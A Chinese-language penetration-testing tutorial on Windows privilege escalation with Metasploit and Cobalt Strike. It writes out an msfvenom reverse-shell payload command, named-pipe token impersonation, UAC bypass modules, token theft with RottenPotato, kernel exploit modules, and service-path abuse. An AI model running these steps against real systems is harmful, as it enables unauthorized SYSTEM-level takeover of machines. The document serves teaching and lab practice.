渗透测试框架提权
渗透测试框架提权
hihopkcMetasploit提权
- 生成一个Payload,并创建监听
1 | msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=192.168.247.135 lport=6666 -f exe -oxx.exe |
- 运行木马文件,MSF获得meterpreter会话
Meterpreter提权
Meterpreter自动提权命令
1 | getuid |
getsystem是由Metasploit-Framework提供的一个模块,它可以将一个管理帐户(通常为本地Administrator账户)提升为本地SYSTEM帐户
- 执行成功
- 执行失败
Getsystem命名管道原理
命名管道介绍
命名管道(Named Pipes)是一种简单的进程间通信(IPC)机制。命名管道可以在同一台计算机的不同进程之间,或者跨越一个网络的不同计算机的不同进程之间的可靠的双向或单向的数据通信。
命名管道的命名规范遵循“通用命名规范(UNC)” :
1 | \\server\pipe[\path]\name |
- 其中 \server 指定一个服务器的名字,如果是本机则用\.表示,\192.168.1.100表示网络上的服务器。
- \pipe 是一个不可变化的“硬编码”字串(不区分大小写),用于指出该文件从属于NPFS
- [\path]\name 则唯一标识一个命名管道的名称。
命名管道客户端代码
pipe_client.cpp
1 |
|
命名管道服务端代码
pipe_server.cpp
1 |
|
模拟令牌
模拟令牌是命名管道中常见的一种方法,一般可以用来提权操作,Metasploit 中的 getsystem 也就是这个原理。
- 具体步骤
- 创建一个以system权限启动的程序,这个程序的作用是连接指定的命名管道。
- 创建一个进程,并让进程创建命名管道。
- 让之前的以system权限启动的程序启动并连接这个命名管道。
- 利用ImpersonateNamedPipeClient()函数生成system权限的token。
- 利用system权限的token启动cmd.exe。
过程模拟
在一个拥有 SeImpersonatePrivilege(身份验证后模拟客户端权限)的用户(User组)启动一个进程,这个进程的作用是创建一个命名管道等待连接,连接成功后模拟客户端的权限,并用这个权限启动一个cmd窗口。
pipeserverimpersonate.ps1
https://github.com/decoder-it/pipeserverimpersonate/blob/master/pipeserverimpersonate.ps1
- 使用administrator用户通过powershell脚本创建一个命名管道
1 | powershell -ep bypass -f pipeserverimpersonate.ps1 |
Win7查看命令管道,Powershell中输入如下命令:
1 | [System.IO.Directory]::GetFiles("\\.\\pipe\\") |
Win7及以上系统,查看命名管道还可以使用如下命令:
1 | # 返回对象列表 |
- 在administrator用户权限下,创建一个服务 mingy-pipe
1 | sc create mingy-pipe binpath= "cmd /c echo test > \\.\pipe\mingy" |
- 在administrator用户权限下,启动mingy-pipe服务
1 | sc start mingy-pipe |
启动mingy-pipe服务时,会以SYSTEM权限执行 cmd /c echo test > \.\pipe\mingy 命令,即以SYSTEM权限访问创建的命名管道 \.\pipe\mingy,Powershell脚本会打开一个模拟连接命名管道客户端权限的cmd窗口
原理总结
meterpreter的getsystem提权功能原理:
- 首先会创建一个命名管道
- 然后创建一个服务去运行cmd /c echo “some data” > \.\pipe[random pipe name]
- 当 cmd 连接到 Meterpreter 的命名管道的时候,通过令牌模拟模拟连接客户端的Token
- 因为服务运行是 SYSTEM 权限,因此MSF也就得到了一个 SYSTEM 的 shell
BypassUAC
提权命令执行失败,使用 bypassuac 模块绕过 UAC
UAC:用户帐户控制(User Account Control),是windows操作系统中采用的一种控制机制,它以预见的方式阻止不必要的系统范围更改
getsystem提权方式对于普通用户来说是失败的不可正常执行的,那么这种情况下就需要绕过系统UAC来进行getsystem提权
1 | use exploit/windows/local/bypassuac |
通过bypassUAC获取的session可以看到依然是普通权限,可以执行getsystem进行提权至system权限
bypassuac_injection
1 | use exploit/windows/local/bypassuac_injection |
bypassuac_eventvwr
1 | use exploit/windows/local/bypassuac_eventvwr |
bypassuac_comhijack
1 | use exploit/windows/local/bypassuac_comhijack |
Local_exploit_suggester
local_exploit_suggester是一个漏洞利用后渗透模块,可用于检查系统中是否存在本地漏洞。它执行本地漏洞利用检查;但不会运行利用任何漏洞,这意味着可以在不进行入侵的情况下扫描系统。
不必手动搜索有效的本地漏洞;它将根据系统的平台和体系结构向您显示目标容易受到哪些攻击。
优点:省去手动查找本地漏洞的麻烦,节省时间
缺点:不是所有列出的local exploit都可用
- 得到普通用户权限
执行getsystem报错
- 通过模块收集测试可提权模块
1 | use post/multi/recon/local_exploit_suggester |
bypassuac_eventvwr
1 | use exploit/windows/local/bypassuac_eventvwr |
bypassuac_dotnet_profiler
1 | use exploit/windows/local/bypassuac_dotnet_profiler |
CVE-2019-1458-wiozardopium
1 | use exploit/windows/local/cve_2019_1458_wizardopium |
Token窃取
Token简介
Windows有两种类型的Token:
- Delegation Token
授权令牌,用于交互会话登录 (例如本地用户直接登录、远程桌面登录)
- Impersonation Token
模拟令牌,用于非交互登录 (利用net use访问共享文件夹)
- 两种Token只在系统重启后清除
- 具有Delegation Token的用户在注销后,该Token将变成Impersonation Token,依旧有效
- 在Metasploit中,可使用incognito模块实现Token窃取,Metasploit中的incognito模块是从
Windows平台下的incognito移植过来的
incognito2: https://github.com/milkdevil/incognito2
RottenPotato
将服务帐户本地提权至SYSTEM
https://github.com/foxglovesec/RottenPotato
https://github.com/breenmachine/RottenPotatoNG
1 | # 查看当前用户Token |
注意:在运行rottenpotato.exe后快速模拟令牌(或运行 list_tokens -u)很重要。在当前的实现中,令牌似乎在rottenpotato.exe运行后不久就消失了。因此在执行程序后,立即执行list_token -u 查看模拟令牌,并立即进行模拟令牌操作 impersonate_token。
Windows内核漏洞提权
windows-kernel-exploits
Windows平台提权漏洞集合: https://github.com/SecWiki/windows-kernel-exploits
metasploit中查找提权模块:
1 | search exploit/windows/local Privilege |
enum_patches
1 | use post/windows/gather/enum_patches |
Windows ClientCopyImage Win32k Exploit
适用于Win7、Win server 2008R2 SP1 x64
1 | use exploit/windows/local/ms15_051_client_copy_image |
MS14_058提权
1 | use exploit/windows/local/ms14_058_track_popup_menu |
Windows系统服务漏洞提权
unquoted_service_path模块
可信任服务路径(unquoted Service Paths)
存在缺陷的服务程序利用属于可执行文件的文件/文件夹权限
Windows服务通常都是以System权限运行的,所以系统在解析服务的二进制文件对应的文件路径中的空格的时候也会以系统权限进行解析。如果我们能利用这一特性,就有机会进行权限提升。
例子:
1 | C:\Program Files (x86)\Windows Folder\Common Folder\Folder.exe |
对于上面文件路径中的每一个空格,windows都会尝试寻找并执行名字与空格前的名字相匹配的程序。操作系统会对文件路径中空格的所有可能进行尝试,直到找到一个匹配的程序。以上面的例子为例,windows会依次尝试确定和执行下面的程序
- Metasploit集成有 unquoted_service_path 模块
1 | use exploit/windows/local/unquoted_service_path |
没有权限重启服务,等待服务器重启时执行exe,或手动执行重启服务器命令reboot,等待服务器重启完毕,成功上线SYSTEM权限session
service_permissions模块
1 | use exploit/windows/local/service_permissions |
always_install_elevated模块
1 | use exploit/windows/local/always_install_elevated |
CobaltStrike提权
Elevate
CVE-2019-0803
https://github.com/k8gege/K8tools/raw/master/CVE-2019-0803.exe
1 | execute CVE-2019-0803.exe cmd "start beacon.exe" |
Powershell
1 | help powershell-import |